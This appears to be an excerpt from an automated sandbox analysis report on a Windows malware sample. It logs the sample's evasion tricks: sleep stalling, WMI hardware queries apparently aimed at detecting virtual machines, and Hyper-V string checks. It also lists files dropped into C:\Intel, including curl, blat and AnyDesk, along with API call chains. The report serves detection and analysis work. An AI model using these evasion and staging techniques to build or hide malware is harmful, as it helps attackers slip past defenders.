Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Intel\driver.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Intel\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Intel\AnyDesk\AnyDesk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Intel\AnyDesk\AnyDesk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Intel\dc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Intel\dc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Intel\dc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found stalling execution ending in API Sleep call

Source: C:\Intel\curl.exe

Stalling execution: Execution stalls by calling Sleep

graph_37-119303

Queries memory information (via WMI often done to detect virtual machines)

Source: C:\Intel\AnyDesk\AnyDesk.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT SerialNumber FROM Win32_PhysicalMemory

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Intel\AnyDesk\AnyDesk.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT SerialNumber FROM Win32_DiskDrive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Intel\AnyDesk\AnyDesk.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT MACAddress FROM Win32_NetworkAdapter WHERE PhysicalAdapter = TRUE

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Source: C:\Intel\AnyDesk\AnyDesk.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT SerialNumber FROM Win32_PhysicalMemory

Uses ping.exe to sleep

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 6 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 6 127.0.0.1			Jump to behavior

Source: C:\Intel\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Window / User API: threadDelayed 9856

Source: C:\Intel\driver.exe	Dropped PE file which has not been started: C:\Intel\Trays\unins000.exe	Jump to dropped file
Source: C:\Intel\curl.exe	Dropped PE file which has not been started: C:\Intel\blat.exe	Jump to dropped file
Source: C:\Intel\driver.exe	Dropped PE file which has not been started: C:\Intel\Trays\ShellEh6055.dll	Jump to dropped file
Source: C:\Intel\driver.exe	Dropped PE file which has not been started: C:\Intel\Trays\ShellEh6055x64.dll	Jump to dropped file
Source: C:\Intel\driver.exe	Dropped PE file which has not been started: C:\Intel\Trays\7z.dll	Jump to dropped file
Source: C:\Intel\driver.exe	Dropped PE file which has not been started: C:\Intel\Trays\delReg.exe	Jump to dropped file
Source: C:\Intel\driver.exe	Dropped PE file which has not been started: C:\Intel\Trays\Tray.dll	Jump to dropped file

Source: C:\Intel\curl.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_37-116976

Source: C:\Intel\svchost.exe TID: 6536	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Intel\svchost.exe TID: 1360	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Intel\svchost.exe TID: 6552	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Intel\svchost.exe TID: 1004	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Intel\svchost.exe TID: 8132	Thread sleep time: -30000s >= -30000s
Source: C:\Intel\AnyDesk\AnyDesk.exe TID: 3668	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Intel\AnyDesk\AnyDesk.exe TID: 1424	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Intel\AnyDesk\AnyDesk.exe TID: 3132	Thread sleep time: -30000s >= -30000s
Source: C:\Intel\AnyDesk\AnyDesk.exe TID: 3668	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Intel\AnyDesk\AnyDesk.exe TID: 4996	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Intel\AnyDesk\AnyDesk.exe TID: 6484	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Intel\AnyDesk\AnyDesk.exe TID: 3000	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Intel\AnyDesk\AnyDesk.exe TID: 7664	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Intel\AnyDesk\AnyDesk.exe TID: 7452	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Intel\dc.exe TID: 6536	Thread sleep count: 69 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3156	Thread sleep count: 9856 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4788	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Intel\AnyDesk\AnyDesk.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT SerialNumber FROM Win32_BaseBoard

Source: C:\Intel\AnyDesk\AnyDesk.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT ProcessorId FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed

Source: C:\Intel\curl.exe	Code function: 37_2_00A7CD06 FindFirstFileExW,GetDriveTypeW,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FindClose,GetLastError,FindClose,GetLastError,FindClose,	37_2_00A7CD06
Source: C:\Intel\curl.exe	Code function: 37_2_00A7FCDD FindFirstFileExW,GetDriveTypeW,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FindClose,GetLastError,FindClose,GetLastError,FindClose,	37_2_00A7FCDD
Source: C:\Intel\driver.exe	Code function: 43_2_0040F8BC FindFirstFileW,GetLastError,FindNextFileW,GetLastError,FindFirstFileA,GetLastError,FindNextFileA,GetLastError,	43_2_0040F8BC
Source: C:\Intel\Trays\Trays.exe	Code function: 44_2_00407C0E FindFirstFileA,	44_2_00407C0E
Source: C:\Intel\Trays\Trays.exe	Code function: 44_2_0040DB44 FindFirstFileA,	44_2_0040DB44
Source: C:\Intel\Trays\Trays.exe	Code function: 44_2_0040DDDC FindFirstFileA,	44_2_0040DDDC
Source: C:\Intel\svchost.exe	Code function: 45_2_03E34400 GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	45_2_03E34400
Source: C:\Intel\svchost.exe	Code function: 47_2_03E34400 GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	47_2_03E34400
Source: C:\Intel\svchost.exe	Code function: 48_2_03E34400 GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	48_2_03E34400

Source: C:\Intel\Trays\Trays.exe

Code function: 44_2_00407D0E GetLogicalDriveStringsA,

44_2_00407D0E

Source: C:\Intel\Trays\Trays.exe

Code function: 44_2_00407D5E GetSystemInfo,

44_2_00407D5E

Source: C:\Intel\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: Trays.exe, 0000002C.00000002.4668789659.00000000009C1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Trays.exe, 0000002C.00000002.4668789659.0000000000989000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: curl.exe, 00000025.00000003.3522239394.0000000000CDB000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000026.00000003.3539348715.0000000000C5F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000027.00000003.3574080550.0000000000E9F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000028.00000003.3599351540.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000002A.00000003.3628677958.0000000001170000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000002A.00000003.3628626922.0000000001167000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000002A.00000003.3628600966.0000000001166000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000002A.00000003.3628541609.0000000001161000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000002A.00000003.3628475216.000000000115E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: curl.exe, 00000029.00000003.3606801182.000000000069F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll88

Source: C:\Intel\curl.exe	API call chain: ExitProcess graph end node	graph_37-116978
Source: C:\Intel\svchost.exe	API call chain: ExitProcess graph end node
Source: C:\Intel\svchost.exe	API call chain: ExitProcess graph end node
Source: C:\Intel\svchost.exe	API call chain: ExitProcess graph end node
Source: C:\Intel\svchost.exe	API call chain: ExitProcess graph end node
Source: C:\Intel\svchost.exe	API call chain: ExitProcess graph end node
Source: C:\Intel\svchost.exe	API call chain: ExitProcess graph end node

Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Intel\curl.exe

Code function: 37_2_00A80FB6 EncodePointer,EncodePointer,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

37_2_00A80FB6

Source: C:\Intel\curl.exe

37_2_00A80FB6

Source: C:\Intel\curl.exe

Code function: 37_2_00991CE0 VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoA,VerifyVersionInfoA,VerifyVersionInfoA,LoadLibraryA,GetProcAddress,

37_2_00991CE0

